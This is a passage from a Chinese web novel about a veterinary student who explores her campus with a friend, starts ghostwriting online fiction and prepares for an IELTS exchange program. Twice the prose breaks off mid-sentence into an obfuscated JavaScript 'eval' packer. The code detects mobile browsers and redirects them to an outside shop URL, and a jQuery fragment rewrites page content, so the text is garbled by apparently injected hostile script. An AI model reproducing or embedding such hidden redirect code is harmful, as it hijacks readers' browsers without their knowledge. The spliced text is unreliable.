“唔……”林羽翼抿着唇,想了想,“也行吧!” 那么高的稿费,不要白不要! …… 川城农大校区很大,从图书馆离开后,林羽翼本想带着师涟到处参观参观,可没走多久,她便迷了路,被一条条七拐八拐的小道晃得眼花。 是走这边呢?还是走那边? “你不认路?”师涟正跟在她身后拍照,镜头晃到林羽翼,正好记录下她仰头茫然看路的样子,师涟不由得轻声笑着问。 “是啊,”林羽翼眨眨眼,回答得理直气壮,“我们学校这么大,整整三千亩地呢,平时我根本没时间到处逛嘛。也就在实验室、教学楼、图书馆,还有食堂和寝室五点一线!” “五点,一线?” “差不多就那意思嘛!” 今天,和师涟一起在校园里散步的时光,是林羽翼学习生活中未曾拥有过的闲暇。 在学校里瞎逛一会儿,林羽翼最终找到校园摆渡车的上车点,摆渡车晃晃悠悠拐上山脚,驶过一弯又一弯。林羽翼差点被巅得晕车,忽然,汽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“镜头两边的旋钮改变焦距。” 在师涟的指导下,林羽翼眼中看到的画面一点点清晰起来,她试着拉动镜头焦距,像一个专业摄影师一样,寻找着最美的构图定格。 “咔嚓、咔嚓。”林羽翼接连拍下好几张照片。 有金灿灿草坪与蓝天白云相交接的绝美构图,有手牵手在草坪上缓缓漫步的情侣的唯美背影,也有远处在云雾下半遮半漏的五彩山林。 最后,林羽翼的镜头回到草坪上,她将镜头稍稍往上抬,拉长焦距,想要拍摄草坪尽头的那一大片柔软云朵。好巧不巧,正好有一对情侣牵手坐在那儿,靠着对方的肩膀,轻轻依偎在一起。林羽翼想记录下这一幕。 然而随着镜头拉近,那对小情侣的脸越来越清晰,林羽翼却愣了,她盯着取景器里的画面,怔怔眨眼:“师涟,你看这两人,他们是不是……?” 林羽翼把取景器的位置让给师涟。 “是刘明和申树。”师涟接上林羽翼的话。 师涟的语气是一贯的平淡,听不出一丝惊讶。林羽翼嘴巴张了张,望向镜头对准的方向。没有长焦镜头,她看不清依偎在草坪尽头上那两人的脸,但依旧能感觉到他们之间丝丝缕缕的暧昧气氛。 刘明,和申树?! 他俩在、在谈恋爱……? 这这这,明显是在谈恋爱吧! 林羽翼震惊得不知道该说什么。 在她的认知中,申树和刘明完完全全是八竿子打不着的两个人,虽然他们做了三年的高中同学,又是同组,可这三年里,他们有、有说过几句话吗? 至少在林羽翼的记忆中,是没有的。 申树和刘明说话的次数,还没有林羽翼和刘明说话的次数多呢。而且大学后,林羽翼和刘明在一个学校,她还和他约过几次图书馆,只不过后来她时间越来越紧,刘明呢?他明显不适应和她单独相处,每次都只知道埋着头看书,都不敢和她多说半句话,渐渐地,林羽翼便没再约过他了。 林羽翼拧着眉头回想,高中时,申树对刘明是挺照顾的,就像个温柔大姐姐一样,咦,也不对呀,申树对谁都温温柔柔,是同学们的知心姐姐。尤其高三后半年,每到课间,班上就有人来找申树进行“心理咨询”,找她倾诉烦恼,听她开解。 “实在好奇,就直接去问问他们吧。” 师涟温柔的话语声打断林羽翼的冥思苦想,她牵上林羽翼的手腕,径直走向草地尽头互相依偎的二人处。 一步一步走近了,离开取景器画面,只隔着无形的空气,林羽翼再一次看清两人的脸,的确是申树和刘明。 申树烫了头发,原本及腰的长直发烫成了大波浪,涂了口红,显得比高中成熟许多。刘明依旧是高中生的打扮,只不过头发留长了点儿,细碎刘海快要遮住眼睑,显得特别乖巧,像个刚成年的小弟弟。 一个是温柔大方的知心姐姐,一个是乖巧听话的小男孩,这么看,两人其实还挺配?不,林羽翼还是觉得难以接受。 高中三年,她算是班上和刘明说话最多、关系最好的人了吧?她觉得,自己应该是很了解刘明的,她觉得他的性格和申树不太搭,可具体哪儿不搭,又说不上来。 林羽翼想着想着,已经走到二人面前。 申树和刘明这时才看见迎面走来的林羽翼二人,他们似乎吓了一跳,立马站起身,申树条件反射地想要把牵着刘明的手缩回去,却被刘明握紧了。 “小鸟,师涟,你们怎么也在这儿?这么巧?”申树脸上的尴尬一闪而过,立马便变成一贯的随和大方,笑容礼貌得体,“哦——师涟,你是来这儿见小鸟的吧?” “是啊,听说这儿风景不错,我便来采采风。”师涟晃晃手中的摄像头,语气松和一些,目光大大方方落在两人牵着的手上,“倒是没想到,会遇见你们俩。” “怎么回事儿啊?申树,刘明,你们在一起啦?”林羽翼适时地接话,眉眼弯弯,笑着问。 “……嗯。”刘明脸颊微红,轻微点了头,申树似乎迟疑片刻,才跟着点头。 “你们……”林羽翼本想调侃着八卦一下,可是看见刘明那窘迫到耳朵红的样子,她在心底暗暗叹口气,大发慈悲地放过他,感慨道,“你们竟然会在一起,没想到啊没想到!” 申树只是温和如初地笑了笑,刘明的脸肉眼可见地更红了。 大家老同学一场,好不容易在大学里碰上,不约一顿饭怎么说得过去?接下来,四人同行着在山里逛了圈儿,便一同回山脚的食堂吃晚饭。 林羽翼惊奇地发现,在申树面前,刘明这孩子就跟变了个人似的,以前明明是个都不敢和陌生人对视、一说话就脸红结巴的、需要被人照顾的内敛小孩,竟然会时刻照顾着申树,走路走在申树外侧,太阳一出来第一时间帮申树打上伞,申树一说渴了,立马屁颠屁颠跑去买水,就连晚上打饭,都是他去帮申树打的。 林羽翼百思不得其解,越想,越觉得想不通。 和刘明二人告别后,林羽翼带着师涟去机房整理照片、写写稿子,在只有她们两人的安静机房里,她终于忍不住,闷闷地低声说: “师涟……你有没有觉得刘明变了?他高中的时候虽然也很细心,可从来不会主动去照顾人,反而要别人主动照顾他。唔,别说高中了,大学之后,我约过他一起泡图书馆,他连登记信息都不敢,还得我帮忙。可是今天他、他居然会主动!主动照顾申树诶!” “或许是因为,他喜欢申树吧?所以,他愿意为申树做出改变。”师涟对别人的感情八卦不感兴趣,但林羽翼和她聊,她愿意认真地回应她。 “也许是吧。”林羽翼揉着脸颊,盯着白花花的电脑屏幕,上面是一字未写的文档界面,闷声问,“可是他为什么会喜欢申树呢?我不明白。虽然申树漂亮、温柔、大方,但我总觉得申树和他不搭,反正我肯定不会喜欢申树。” “你当然不会喜欢申树。”师涟一边修改着PS里的照片,一边轻快笑着说,“不管什么原因,刘明喜欢她就够了,如果实在想不通,你就当刘明长大了吧。男孩子长大后,会喜欢一个温柔漂亮大方的女孩子,这不是一件很正常的事情吗?” “唔……也对。”林羽翼趴到电脑桌上,惆怅地叹口气,“长大了,长大了啊,怎么就长大了呢?” 师涟笑得无奈:“大家都是会长大的。” 林羽翼侧脸靠在手肘上,脸颊一嘟一嘟,像是在吐泡泡一样,说道:“可是我好像就没有长大,到现在,我都没有过喜欢的人。师涟你呢?你有吗?有喜欢过谁吗?” 林羽翼问出口后,莫名的,觉得心里有点慌——有点怕,像是不敢听到答案似的,她一下子翻个身,脑袋望向机房的另一侧,原本盯着师涟侧颜的目光,远远投向窗外夜幕的点点繁星。 PhotoShop页面上,鼠标忽的停顿片刻,然后在原地打了个圈儿,似乎忘了下一步要做什么。 师涟盯着电脑屏幕,表情如常,看不出什么情绪波动,只是温柔的目光似乎更深邃了些,让人越来越看不见底。 “林羽翼,不是遇见喜欢的人才算长大。”师涟停下手里的工作,轻声说,“你已经长大了,林羽翼,你学会了努力学习,学会了为自己奋斗,学会了自律地生活,这些,都是你成长的证明。” “是、是吗?”林羽翼望着窗外的繁星,睫毛轻颤着,微弱问出声。 不需要师涟回答什么。 她自己心里已经有了答案。 是的。 她已经长大了。 41.第27章 这篇新闻稿林羽翼写了很久—— 她自己完全没有察觉到时间的流逝,感觉从起稿到结束,好像只有一瞬。一看电脑屏幕下方的时间,她才猛然察觉,竟然已经过去两个小时。 “写完了?”师涟早已修改完照片,正坐在旁边的座位上看书,见林羽翼放下鼠标,她靠近了些,查看屏幕上的文章内容,“累了吗?要不要先回寝室睡觉,明早我再来审查一遍。” “没事儿,不累不累。”林羽翼一点儿不觉得累,反而眼睛都在发光,“现在审查吧,有问题我立马改,免得耽搁你明早坐车回学校——呃,如果你现在不累的话。” “那就现在审。”师涟点头。 审稿又花了半小时左右,师涟挑错,林羽翼一次又一次地修改。每次修改过后,林羽翼不但不觉得累,反而愈加神采奕奕。 终稿敲定,已经是凌晨两点。 “呼!搞定啦!”林羽翼用力地伸一个懒腰,转头笑盈盈地看向师涟,弯成月牙的眸中没有一丝困意,只有看不见底的兴奋雀跃的光。 师涟单手撑着下巴,懒散靠在电脑桌上,她与林羽翼对视着,眸中笑意绽放着,温暖明媚,她无比认真地说:“你看,你这么喜欢写作。” “唔?”林羽翼怔了片刻,有些不好意思地舔了舔唇,她想起了自己写给师涟的那封信,想起了自己在信中的抱怨,“是、是挺喜欢的,可是……” “没有可是。”师涟没有给她把话说完的机会,“林羽翼,既然喜欢,那么请你一直、一直写下去,好吗?如果你的困扰来源于你写的故事不曾被人看见、不曾被人喜欢,那么我可以明确地告诉你,我喜欢你的故事。” 师涟顿了顿,笑意收敛,更加认真:“我喜欢你的文字。同样,我相信,在世界上许许多多的角落里,总会有和我一样的人。或许你所缺少的,只是一个被那些人看到的机会,或者说,契机。林羽翼,我相信,只要你坚持下去,总有一天,你会遇见那个契机。” “林羽翼,我相信你。那么也请你自己,对自己有一些信心。” …… 契机会在什么时候来临呢? 林羽翼不知道。 但师涟的这番话,的确给了她莫大的勇气,以及沿着写作这条路继续走下去的动力。 秋天过去,冬天来临,很快,又到一年春。 寝室里的小猫呆呆一天一天地长大,从当初手掌大的小毛球,长成了一长条利落瘦削的大梨花,一身油光锃亮的银虎斑毛,可漂亮威风了。 而林羽翼,也等来了她的第一个契机。 2006年,是网络小说井喷的一年,同样也是林羽翼接触到网络小说的第一年。仙侠小说、武侠小说、言情小说,从“一个人,一根烧火棍,面对了整个世界(注1)”的悲怆热血,再到“我要这天再遮不住我眼,要这地再埋不住我心(注2)”的宏大愿景,再转为“如果世界上曾经有那个人出现过,其他人都会变成将就! 而我不愿意将就(注3)”的痴情婉转…… 2006年的寒假,林羽翼徜徉在书海里,熬着夜读完一本又一本网文,在一个又一个或奇幻、或瑰丽、或浪漫的故事里翱翔。放假时机房离没人,她常常因为电脑上的文字激动得手舞足蹈,读到精彩处,哒哒哒地起身在机房里跑上几圈。 一本厚厚的笔记本摊开放在电脑边,纸页上写满了林羽翼的鬼画符,都是她看得共情难以自抑时留下的摘抄笔记。 看到激动时,林羽翼有过自己动笔写长篇小说的想法,可是真正开始写,她才发现自己压根没有那能力。写了开头,不知道怎么写后续。直接写结尾呢?又不知道怎么写开头。 她构思不出宏大的场景和世界观,也想象不出凄美缱绻的爱情故事,描绘不出鲜活生动的人物,她写不出江湖的波涛汹涌,也写不来恋爱的甜甜蜜蜜。 有了写长篇小说的想法后,林羽翼才忽然发现,自己以前写的那些短小的小故事,连练手都算不上。 更何况,眼看大二下学期即将开学,专业课一堂又一堂地排上日程,她的兼职又不能放下,她实在挤不出时间来练习长篇小说。 正在林羽翼纠结无比时,她在一个大学生兼职的Q群里,看到一条推送的群消息。 【网文工作室招写手,提供大纲,从零开始手把手教学!只要你会打字,就能加入我们!】 林羽翼怔怔盯着那条消息看了几秒,像是不敢相信自己眼睛似的,抬手用力揉了揉眼眶,盯着屏幕再三确认后,她用力摁住鼠标,点击加群! 林羽翼看着屏幕上跳出的“等待群主同意”的方框,一时间连小说都看不进去,大冬天的,她紧紧握着鼠标的手指竟然出了层薄汗。 林羽翼起身到走到机房窗口,推开窗,冬日的冷风扑面而来,依旧没能吹散她心底的燥热之火。 “滴嗒嗒、滴嗒嗒!” 电脑里响起提示音的那一刹,林羽翼顾不得关窗,猛地回头大步蹦到电脑前,弯腰看向屏幕。下一秒,她的眼睛惊喜地瞪大,她进群了!网络写手兼职群! 群里人很多,一条一条消息快速地滚动着,林羽翼忘了坐下,弯着腰紧紧盯着屏幕上闪过的那一排排字,她的眼睛里迸发出奇异的光彩,屏幕上一条条信息带给她的惊喜,比沪城外滩带给她的惊喜还要大。 她好像真的到了一个新世界,一个看得见、摸得着,近在咫尺的新世界。 [现代言情小说招写手,提供大纲,要求日更六千字,千字5元保底,日结!日结!] [古代武侠,日更三千,千字8元,三千字试稿,过稿结款。] [男频武侠小说,日更五千,千字十元,日结转周结] [女频乡村小说,千字六元,要求日更一万,编辑手把手教学……] [总裁小说……] 林羽翼看得目不暇接。 这些信息都是工作室的编辑发出来的,有招普通写手的,从仙侠武侠到乡村言情,各种类型的小说都有,千字从三元到十二元不等。还有招“开头写手”、“大纲写手”的,千字竟然给到了百元,和报纸杂志差不多了! 林羽翼在这一条条信息中认真筛选着,最终,她选定了一本千字八元的武侠文试稿,价格不高不低的价格,正好积累经验,而且她以前写过《绝代双骄》的衍生文,也算是有一点点经验吧?应该能过稿吧? 林羽翼鼓起勇气,加了那位编辑的Q丨Q。 没有等待多久,不过十来秒,编辑便通过了林羽翼的好友申请。 林羽翼呼口气,手指僵硬地落在键盘上:【您好,我刚才在群里看见您发的试稿招募,千字八元的武侠小说,您有招到作者吗?】 她顿了顿,深呼吸一下,才摁下发送键。 林羽翼闭上眼,有些不敢看编辑的回复,可是“叮咚”提示音响起的那一瞬,她条件反射般睁眼迅速凑近电脑屏幕,目光锁定在聊天框上。 编辑发来了一个文件。 编辑:【试稿文档和要求都在文件里,你先看看接稿要求,没问题的话再试稿。注:试稿文档需要在今晚九点前交过来。】 林羽翼:【好的!谢谢您!】 她飞速打开文件,试稿那一部分并不难,只要求她把文档里五十字的小情节扩充到两千字,可后面的那些接稿要求,却让她犯了难。 首先,稿费通过网银结算,林羽翼从没接触过网上银行。银行……也能通过网络进行交易吗?她所学习的网页设计课程里没有涵盖这一内容,反倒是无意间在学校里看见的“谨防移动诈骗陷阱”,让她觉得心里惴惴的,总觉得网上银行这四个字,听起来就不太安全。 其次,她接稿还得提供实名信息,虽然可以在旁边写上“仅供接稿使用”的字样,可是林羽翼接触过PS,她知道这种水印是可以被PS移除的,要是那编辑是坏人,要拿她的信息做坏事怎么办? 林羽翼咬着唇,久久做不了决定。 她沉默地把聊天框放到一旁,又另外私聊了几个编辑,她们发来的接稿要求都大差不差,网银和实名信息,缺一不可。 有那么一个瞬间,林羽翼都怀疑,这会不会是一个骗子群?除了她以外的所有成员,都是骗子? 林羽翼揉揉眉心,打开浏览器搜索一阵,关于网银的评价她倒是搜出来不少,正面负面都有,正片评价是说网银方便快捷,到账也比银行转账快,手续费还很低。负面评价则是说网银里的钱被骗走了,报警也要不回来。 第二个问题她搜不出答案,无论是被骗与否,网上都没有类似的案例,这年头写网文的人太少了,她压根找不到参考。 林羽翼咬着唇,将自己的疑问抛向编辑:【编辑您好,请问为什么需要实名信息呢?】 林羽翼飞快打字,把自己的情况快速描述一遍,发送给师涟,询问她的建议。 很快,编辑和师涟都回复了消息。 编辑:【过稿后我们会将正文大纲交给你,以前我们有遇见过写手带着大纲跑路的情况,对我们工作室造成了一定损伤,所以才有了这样的规定。当然,我们也会将公司营业执照发给你。】 师涟:【网银没有问题,我爸妈为了做生意方便,都开通了网银,只要自己注意着不要泄露密码,不把钱款转给陌生人,应该没有什么问题。】 师涟:【实名的事我不清楚,可我觉得……把实名照片压给陌生人,是否有点危险?林羽翼,我不懂网络写作这一行,无法给你提供更好的建议,你要不要考虑去作者论坛看一看,问问其他作者的建议?】 林羽翼:【作者论坛?】 师涟:【嗯,就像摄影论坛、新闻论坛一样,网络小说作者应该也有属于自己的论坛吧。】 她怎么没想到呢!林羽翼眼睛一亮,立马到浏览器里进行搜索,还真给她搜到了!一个叫“天空”的网文作者论坛。 林羽翼迫不及待地点进论坛,注册账号,又一个新世界大门在她面前敞开。 “网文天地”、“女频小说”、“男频小说”、“干货学习”、“写手招募”,林羽翼挨个点进不同的板块里,瞪大眼睛浏览着里面的帖子,一个字也不放过,就像是刚刚在土地里扎根的小树苗,拼了命地吸收泥土里的养分。 [小说黄金开头怎么写?] [网络小说三要素!] [不同网文站点的优缺点] 林羽翼不断复制粘贴,把这些帖子通通拷贝进她的小U盘里。 在前面几个板块逛了一两个小时,林羽翼最后才点进写手招募板块里,林羽翼浏览一遍帖子,其中一小半是网文站点编辑发的招募贴,这一类帖子给出的稿酬相对高,网站运转相对成熟,但对写手的要求也更高。 另外一大半帖子,则是工作室的编辑发的,林羽翼对比了一下Q丨Q号和邮箱号,嘿,还真和群里的那些编辑对得上! 论坛里还有一个“黑名单”帖子,会曝光那些拖欠稿费的无良工作室。林羽翼看了看,她选中的那篇武侠文的工作室并不在其中。 到这里,林羽翼心中的怀疑打消大半,但她依旧觉得有些不安,这是她从未接触过的领域。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13214150|135210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>该怎样形容呢?就像是一个巨大无比的蜂蜜奶油蛋糕摆在她面前,甜蜜诱人的气息不断往她鼻腔里钻,引诱着她。这个蛋糕很大,大得像是一座看不到顶的高楼,华丽到像是一个随时可能坍塌的陷阱。 林羽翼害怕,自己往前走一步,这陷阱就塌陷了,将她埋在其中。可这个蛋糕实在太香太甜了,她实在太想尝一尝了。 陷阱吗? 林羽翼目光微滞,她忽然想到了哥哥身上那无底洞似的债款,想到了每个月怎样拼命打工兼职也挣不够的钱,想到了沪城棚户里的一团糟的样子。 她已经过得很糟了,就算踩中了陷阱,又有什么影响呢?不过是再糟一点罢了。 林羽翼打开试稿文档,很快便进入状态,手指噼里啪啦在键盘上敲动。 一小时后,两千字完成。 “呼……”林羽翼从聚精会神的状态中醒来,她揉揉眼睛,满意地看着电脑屏幕上一行行字,检查无误后,她将文档发送给编辑。 林羽翼按捺住躁动的心情,没有坐在电脑前等待编辑的回复,而是起身离开机房,去校园服务点咨询网络银行的事儿。 开通网银的流程比林羽翼想象得简单许多,到服务点出具身份证明,再填几张表就可以了。 这时寒假还没结束,服务点几乎没人,不到一个小时,林羽翼就回到了机房。她再次打开Q丨Q,深吸一口气,查看编辑的回复。 她过稿了! 除了过稿的消息,编辑额外发了一个文档,林羽翼点开,发现是自己试稿的文档,编辑竟然给她捉了一遍虫,还给出了一些修改意见。 [单句不要太长,否则读者看着会累] [省略号是“shift+6”,不是六个英文句号] [签约后我发你一份动作描写范文,你有空学习一下] 看到编辑一行一行的批注,林羽翼心里最后一丝疑虑打消了。她将实名信息发过去,编辑那边很快发来文章大纲,看着文档里一行行的文字,清晰的起承转合结构,林羽翼目光愈加专注,手指噼里啪啦在键盘上起舞。 林羽翼的写手生涯,就此开始。 有过写稿的经验,林羽翼打字速度很快,一个小时能稳定两千字,一天可以完成六千多字的稿子,也就是五十元的收入。虽然不多,但足够稳定。 并且,这代表着,她或许可以靠着自己喜欢的事情,长久地养活自己了。 她没有打算继续去师涟导师那里蹭稿子写,那边的价格虽然更高一些,但机会可遇不可求,她总不能一直依靠师涟。 而且……或许是出于写故事的人心里的说不出的小小的拧巴情绪吧,林羽翼总想要,创作出属于自己的,独立的、新奇的故事,而不是将发生在别人身上的事情再复述一遍。 而根据大纲创作长篇小说,既能练笔积累经验,又能赚到一笔钱,何乐而不为呢? 在完整地结清第一个月的稿费后,林羽翼便辞掉图书馆的闲职,有空就泡在机房里打字,除了一开始的拼音输入法,她还学会了五笔输入法和双拼输入法,手指在键盘上噼里啪啦,打字的速度飞快,一小时甚至能打四五千字。 这一个学期,是在数不尽的键盘声中度过的。 噼里啪啦、噼里啪啦。 机房外的银杏不知不觉长出幼嫩的新叶,绿油油的叶子随风飘舞,又逐渐变得金黄,风一吹,卷来一阵白果独特的味道。 夏天过去,又到一年秋。 兽医学生大三的功课依旧忙碌,理论课、实验课交交叉叉,没有给林羽翼留下一丝属于自己的休闲时光。 教室、寝室里的氛围不知何时变得紧绷,再听不到松弛欢快的八卦声,每次环绕在林羽翼耳边的,都是同学们焦虑的讨论声: 开题项目想好了吗?实验有准备了吗? 找好导师了吗? ——别看只是毕业实验,导师说不定能关系到你未来考研!实验室里可都是人脉,都是资源呢,可不能选错! 考研?考不上怎么办?去找工作吗?能找什么工作?这年头可不兴包分配了。 要不去考公务员?公务员可比考研难,谁不想要铁饭碗呢? 林羽翼很少因为未来而焦虑,她对未来的规划很简单:以她“万年老二”的专业成绩,保研是绝对没有问题的,那么、那么就一直顺其自然地读下去吧,读完研究生,再读博士,然后再考虑找工作的事儿。期间她靠着码字、奖学金,足够自己生活,每个月还能给哥哥打一笔钱。 想到哥哥,林羽翼的心脏沉了沉。 她又有两年没和哥哥说过话了,只有偶尔能在和王心宜的电话背景声里,听到哥哥的只言片语。他的声音还是那么沙哑,语气还是那么颓然无力,仿若行尸走肉喉咙里扯出的嘶哑吼叫,不,连吼叫都算不上。 林羽翼越来越不清楚哥哥究竟欠了多少钱,她还得帮他还多少钱,真的有能够还清的那一天吗?她甚至也这么怀疑。 可又有什么办法呢?她只能按部就班地走下去。 一往无前地走下去。 走着走着,说不定还能看到一丝希望。要是待在原地一动不动,那什么都不会有。天上掉馅饼的好事,只会发生在童话故事里。 …… 林羽翼怎么都没有想到。 上天还真就抛来一个又香又甜的大馅饼,径直砸到她面前。 十一月初的某个夜晚,她在机房码完字,正准备关机时,忽然看见动物医学院院网更新了一则通知。 一则公费交换生的报名通知。 42.第28章(上) 【关于2007年春季优秀本科生国际交流项目选拔工作的通知】 通知内容很简洁,川城农大动物医学院将与意大利PERU高校进行留学生公派交换活动,交换名额为一人,要求如下: 第一,从第一学期起,专业绩点保持专业前五。第二,已取得大学生英语六级证书,分数在五百以上。第三,在春季交换活动开始前,雅思取得6.5分或以上的成绩(若能在规定时间内考取雅思高分,可适当放宽前两个条件)。 林羽翼看到这则通知时,已经是凌晨一点,她昏昏欲睡的大脑瞬间清醒过来,两眼放光地盯着电脑屏幕,看着通知里那几行字,眼睛越看越亮。 这些条件……简直是为她量身定做的! 林羽翼为了奖学金,大一下学期便以五百七十分的高分考过英语六级,她看过本专业的四六级名单,考上五百分的加上她只有三人,而另外两人,绩点都不在专业前五! 也就是说,她只要在春季公派留学项目正式开始前,把雅思6.5拿到手,这个资格就非她莫属了! 这、这不是天上掉馅饼吗?这还能是什么! 林羽翼激动得握着鼠标的手都在抖。 到欧洲公派留学,意味着一年数十万元奖学金,意味着她将很长一段时间不用为生活发愁;意味着她能够抵达以前从来不敢想象的遥远世界,去看以前从未看过的风景;意味着她将站上一个更高的踏板,从此她将更轻易地攀上人生这座山峰顶端。 她不能放任这个从天而降的机会从她手里溜走。 决不能。 林羽翼没有浪费一丝时间,手指在键盘上敲出火花,她在浏览器上搜索着、浏览着与雅思考试相关的一切资料。 怎样报名、怎样缴费、考试流程……林羽翼一条条认真记下,看到高昂的报名费,她怔了片刻,随即到学校的网站上进行搜索,看见学校竟然对雅思6.5分以上的学生发放奖学金后,她才稍稍松一口气。 林羽翼算了算时间,春季交换项目正式开始的时间是明年四月中旬,那么她得在三月初把雅思6.5分拿到手。现在是十一月初,她还有四个月的准备时间。 林羽翼对雅思6.5分没有概念,但她对自己有种说不清的自信,她觉得自己一定可以在这四个月内拿到6.5分。 毕竟,上天喂到嘴边的馅饼,哪里还会再飞走呢? 林羽翼当即在电脑里填上报名表,第二天立马拿去打印店打印,上交给学院。忐忑地等待几天后,林羽翼从辅导员那里得到了学院的通知,邀她前去会议室了解此次项目。 林羽翼特意提前几分钟抵达会议室,里面已经零零散散地坐着几个学生,报名的人数比她想象得要多一些,竟然有十来人,看来大家都是想靠着雅思成绩取得出国名额。 可雅思高分哪儿是那么容易考的呢? 林羽翼相信,至少,短短四个月准备时间,她这个六级全院最高分,一定比别人赢面大。 林羽翼忽的想起好几年前,高中的那个暑假,张潇扬瘫在水吧里,捧着一本又一本雅思习题唉声叹气的样子。她的脸上不由得浮出清浅柔和的笑意,摇摇头,那时的她,怎么也想不到,自己竟然也会有为雅思做准备的一天。 那时的她,以为“雅思”是自己一辈子都接触不到的考试。 “林羽翼!这儿!” 忽的,一声欢快喊声打断林羽翼的思绪,她回过神,看见会议室的一角,岳程成灿烂笑着朝她招手。 他竟然也在?林羽翼迟疑片刻,走向岳程成,没有坐在他旁边的位置,而是在中间隔了个空位。 岳程成并不在意,笑嘻嘻地挪到她身侧。 大一的时候,林羽翼还有时间交交朋友,和院里的同学维系着关系,可大二大三后,她一有空就得往机房跑,哪儿有什么时间交朋友?她和院里、班上同学的关系渐渐都淡了。只有岳程成这人,时不时就来她身边晃悠,上课想法设法往她身边坐,实验课硬是要和她同一组,还逮着她吃饭的时间堵她,想和她一起吃饭。 就连林羽翼室友都看出来,好几次在她半夜回寝后,悄咪咪地问她:“隔壁班岳程成是不是对你有意思呀?” “岳帅哥那么殷勤,一天到晚黏在我们小鸟身边,一黏就是一两年,那不是有意思,还能是什么?” “小鸟你呢?你对他有什么意思吗?还是说……你们已经谈上了?” 林羽翼每次都板着脸,一脸无奈地摆摆手:“没有,没兴趣,不想谈。” 在室友们一脸诧异甚至无奈的目光下,林羽翼懒得多解释什么,只是疲惫地耸耸肩,拖着劳累的身躯到阳台上洗漱。 她是真不想谈。 每天白天累成那样——学习和码字耗光了她所有的精力,她只想把空余时间拿来睡大觉,哪儿有心思谈恋爱啊? 她没那想法。 这一年里,她和师涟的联系都淡了许多,不仅寒暑假没见面,通信也从以前的一两周一封信,变成了两三月一封信,甚至压根不写信,偶尔通过Q丨Q留一次言就好了。 而且……不说别的,她家里的情况,她哥哥那情况,她能谈恋爱吗? 林羽翼对岳程成这人并不反感,毕竟,谁能对一个礼貌帅气的阳光大男孩无缘无故生出反感之心呢?但她并不喜欢他,或许有一点朋友的喜欢,但也仅此而已。 “林羽翼,我就知道你会报名!”岳程成笑意明媚,桃花眸下堆起温柔的卧蚕,他凑近林羽翼,小声说,“你专业成绩那么好,英语也好,要我说,这个出国名额非你莫属了。” “哪儿呢哪儿呢。”虽然林羽翼心里也觉得,这个名额非自己莫属,但她认真地摇了摇头,“报名的人这么多,我哪儿说得准呢?岳程成,我记得你也是大一就过了六级吧?” “是,可我没考上五百分呀。”岳程成手指往外一指,指向长桌对面,一个短发女生安安静静坐在那里,林羽翼认识她,是岳程成班里的同学,同样是她们专业的绩点第一名,元培曼。 林羽翼和元培曼没有过什么交集,但她总是能从不同人嘴里听到她的各种事迹,任课老师夸她次次都坐第一排,是个特别好学、特别努力的好学生;辅导员夸她一下课就往图书馆跑,一天到晚,除了学习心里没装别的事儿;实验课老师夸她总是来实验室帮忙,大一大二就有了丰富的实验经历。 在同学口中,元培曼同样是学神一般,只可仰望不可触及的存在。 真奇怪啊。 林羽翼并不嫉妒元培曼,可有些时候,她就是会忍不住想,她不过是第二名,她的绩点不过比元培曼低了0.1分,怎么她就只是一个籍籍无名的路人呢? 好吧,或许她就是有点嫉妒人家。 岳程成盯着元培曼的方向,一双大眼睛转得贼兮兮的,他小声说:“林羽翼,要我说,元神她也比不过你,她六级也没五百分呢!” “别瞎说!”林羽翼用力拍拍岳程成脑袋,“我听说她之前在备考托福,在准备留美项目,这会儿她转来考雅思,肯定也有准备。” 是的,林羽翼很早就从别人的口中听说,元培曼在准备留美项目,那个项目比留欧项目要求要高得多,准备的时间要长得多,回报也要丰厚得多,元培曼半年前就开始准备托福和GRE考试,听说到现在才将将考过GRE,托福成绩还没达标。 这也是林羽翼没有把元培曼当做此次竞争对手的原因。 对元培曼来说,留美项目的优先级一定是最高,她已经准备了大半年,绝不可能在这时放弃,就算她打算做两手准备,也一定是托福优于雅思。 元培曼不可能像林羽翼那样,全身心放在雅思学习上。 所以林羽翼才会那么想—— 这一次的公派机会,就是为她而生,就是上天砸在她面前的一个大馅饼,她没有理由接不住。没有,理由。 很快,会议室里人来齐了,年级第三坐在林羽翼的另一边,依旧是她的熟面孔,同班同学徐依依。 “林羽翼,我们一起学雅思怎么样?”徐依依是个干练的小姑娘,笑起来眉眼弯弯,和板着脸时的严肃老成截然不同,反而十分可爱,“大家虽然是竞争对手,但也是合作伙伴嘛!唔……我先说我的老实话,四个月时间对我来说肯定不够,所以我打算争取明年秋天的名额,春天的那个名额嘛,林羽翼你先去探探路!” “行啊行啊,大家一起学!”不等林羽翼点头,岳程成便把脑袋凑过来,桃花眼弯成两牙月亮,“我就是个废物,靠你们二位大佬带飞!” 那么要怎么学习雅思呢? 一开始,林羽翼还真没头绪。 她按照学习四六级时的经验,买了一整套雅思真题集,买了单词本,还在网上下载了听力资料,每天早晨抽一段时间刷题、背单词、练听力,可是持续一周后,她却明显感觉,并没有什么用。 雅思的单词可比四六级多得多!在非英语专业的大学生里,林羽翼词汇量已经算是很高的那一部分了,可是一篇雅思阅读题,一共1000个单词,她最多能有600个不认识!这么多奇奇怪怪的生词,她哪儿背得过来呀? 还有听力题,一遍遍的听得她脑子疼,就算听懂了这一题,听到下一题时,又变成了鸟语一样,压根听不懂! 林羽翼练习四六级题库时,能够明显感觉到,题做的越多,就越有规律可寻,可雅思阅读题,她硬是一点儿规律都找不出来! 为了学习雅思,林羽翼甚至推掉了一本每日六千字的小说,机房也很少去了,把空余时间拿来专心学习,在图书馆里刷题、练听力,累了就去天台练口语,可依旧没什么成效,她整个人都快被挫败感淹没。 